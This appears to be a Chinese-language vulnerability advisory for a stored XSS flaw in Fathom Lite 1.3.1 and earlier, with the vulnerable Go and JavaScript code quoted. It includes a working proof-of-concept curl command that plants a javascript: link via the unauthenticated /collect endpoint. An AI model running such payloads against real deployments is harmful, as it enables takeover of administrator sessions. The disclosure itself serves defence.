Fathom Lite 1.3.1 及以下版本存储型跨站脚本漏洞
Fathom Lite 是一款MIT开源免费、可私有化部署的轻量网站流量统计工具,是付费 SaaS 产品 Fathom Analytics 的开源自助托管版本。
一、基本情况
Fathom Lite自动统计访问量、独立访客、页面访问排行、来源渠道、实时在线访客;自动匿名化访客IP,不会采集用户个人敏感信息。

Fathom Lite 主打隐私优先,用来替代谷歌统计 Google Analytics,可规避隐私合规风险,适合个人博客、小型官网自建流量分析服务。
栋科技漏洞库关注到Fathom Lite在1.3.1及以下版本中的存储型跨站脚本漏洞,漏洞已被追踪为CVE-2026-65697,CVSS 4.0评分5.1。
二、漏洞分析
CVE-2026-65697漏洞是Fathom Lite受影响版本中存在的通过 collect 端点存储的 XSS漏洞,该存储型 XSS 漏洞位于数据采集接口中。
该漏洞使得未认证攻击者可直接向无需鉴权的 /collect 接口传入特制主机名与路径名,将 javascript: 协议链接注入 “热门页面” 仪表盘。
parseHostname 与 parsePathname 函数未校验 URI 协议,攻击者可构造 javascript: 主机名搭配换行开头的路径名,数据存入数据库。
后续管理员登录后台时,该内容会不经过滤直接作为 a 标签 href 属性渲染,管理员点击恶意条目即可触发脚本执行,导致劫持会话等。
具体来说,该漏洞导致攻击者直接通过 /collect 接口无认证写入数据,从而在后台页面列表触发存储型 XSS,导致管理员账号被接管。
漏洞源于公开无鉴权接口 /collect 会原封不动存储攻击者可控的主机名、路径名参数。
管理员打开统计仪表盘时,“热门页面” 表格会拼接存储的参数生成 a 标签 href 属性并直接渲染。
程序未校验协议合法性,攻击者可存入 javascript: 伪协议链接。
管理员点击对应条目后,恶意 JS 将在后台域名下执行,植入载荷全程无需任何身份凭证。
页面访问数据由公开采集接口接收,无身份校验逻辑,该路由注册时未加载授权中间件:
pkg/api/routes.go
r.Handle("/collect", NewCollector(api.database)).Methods(http.MethodGet)
采集接口将请求查询参数直接存入页面访问记录,仅通过 parseHostname、parsePathname 函数做标准化处理,
这两个函数均未对 URI 协议做校验:
pkg/api/collect.go
pageview := &models.Pageview{
...
Hostname: parseHostname(q.Get("h")),
Pathname: parsePathname(q.Get("p")),
...
}
func parsePathname(p string) string {
return "/" + strings.TrimLeft(strings.TrimRight(p, "/"), "/")
}
func parseHostname(r string) string {
u, err := url.Parse(r)
if err != nil {
return ""
}
return u.Scheme + "://" + u.Host
}
parseHostname("javascript://example.com") 会原样返回字符串 javascript://example.com,
同时 parsePathname 会保留路径内所有字符(包括换行符)。
这些数值会被存储,后续汇总至页面统计数据中;
页面统计汇总逻辑会直接拼接 Hostname 与 Pathname,不会二次校验,
而来源链接路径则会调用 parseReferrer 进行校验,二者处理逻辑不同。
已认证的后台面板会读取汇总后的统计数据,并在 assets/src/js/components/Table.js 文件中完成漏洞触发点渲染:
let href = (p.Hostname + p.Pathname) || p.URL;
...
<div class="cell main-col"><a href={href}>{label}</a></div>
href 由主机名与路径名拼接而成,示例:javascript://example.com/\nalert(document.domain)。
后台使用 Preact 8(版本号 "^8.3.1"),该框架会原样渲染属性内容,不会过滤 javascript: 伪协议链接。
管理员点击该链接时浏览器会解析执行链接内容:
//example.com/ 为单行JS注释,换行符会结束注释,alert(document.domain) 将在后台域名环境中运行。
三、POC概念
(一)前置条件:
部署运行中的Fathom实例,至少注册一名用户(后台为私有访问)并添加一条站点记录。
攻击者仅需获取站点公开追踪ID,该ID内嵌在所有页面的追踪脚本中。
1、调用无需鉴权的采集接口植入攻击载荷(将GSCLU替换为目标站点追踪ID),
参数h用于设置主机名,参数p以换行符开头,最终拼接出的javascript链接可截断注释内容:
[/lv]
UA='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
printf -v P '\nalert(document.domain)//'
curl -s -A "$UA" -G "http://TARGET:8080/collect" \
--data-urlencode "sid=GSCLU" \
--data-urlencode "h=javascript://example.com" \
--data-urlencode "p=$P" \
--data-urlencode "nv=1" --data-urlencode "ns=1" --data-urlencode "u=1"
管理员已设置登录后刷新可查看